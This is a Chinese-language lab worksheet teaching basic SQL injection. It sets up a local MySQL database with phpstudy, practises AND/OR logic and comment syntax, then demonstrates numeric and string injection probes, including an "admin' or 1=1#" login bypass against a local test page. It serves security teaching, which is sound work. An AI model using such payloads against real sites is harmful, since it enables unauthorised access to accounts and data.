实验目的
- 掌握MySQL的基础
- 掌握数字型sql注入
- 掌握字符型sql注入
实验工具
- burpsuite:一个优秀的web工具,我们主要用到他的代理功能
- Firefox浏览器:非常流行的浏览器
- phpstudy:一个集成了apache和MySQL的软件,主要使用他来进行管理web环境
实验内容
- MySQL and和or等逻辑运算符,and可以在MySQL中进行与运算,or可以再MySQL中进行或运算
- MySQL注释符可以起到注释的作用,让程序不去执行注释的内容
- 数字型sql注入,不需要输入引号就可以进行注入
- 字符型sql注入,需要输入引号,进行一次闭合才能注入
实验步骤
步骤一 创建数据库
打开phpstudy,登陆MySQL命令行,输入以下sql语句,创建数据库
CREATE DATABASE web;
USE web;
CREATE TABLE user (
id int(3) NOT NULL AUTO_INCREMENT,
username varchar(20) NOT NULL,
password varchar(20) NOT NULL, PRIMARY KEY (id)
);
INSERT INTO user VALUES(1,'admin','ichunqiu');
INSERT INTO user VALUES(2,'guest','guest');
步骤二 练习and or逻辑运算
输入以下sql语句,进行练习
练习and
Select * from user where username='admin' and password='guest';
Select * from user where username='admin' and password='ichunqiu';
练习or
Select * from user where username='admin' or password='123';
步骤三 练习注释符
单行注释
Select 1+1#+1;
Select 1+1-- -+1;
多行注释
select 1+1/*这是注释*/;
步骤四 数字型注入
直接输入id=1 看页面的回显
接着输入
id=1 and 1=1%23
看页面回显 和刚刚的id=1是一样的
在输入
id=1 and 1=2%23
页面没有回显,说明我们注入成功,
并且是一个数字型的sql注入,
步骤五 字符型注入
直接输入
username=admin&password=admin
没有回显,测试数字型sql注入
username=admin or 1=1%23&password=admin
还是没有回显,测试字符型sql注入
闭合单引号
username=admin' or 1=1%23&password=admin
页面回显admin,说明有sql注入,并且是一个字符型sql注入
实验结果分析与总结
- 数字型sql注入是不需要闭合单引号的,字符型sql注入需要闭合单引号
- 使用and来进行逻辑连接,只会打印出一条数据;使用or来进行逻辑连接,会打印出所有数据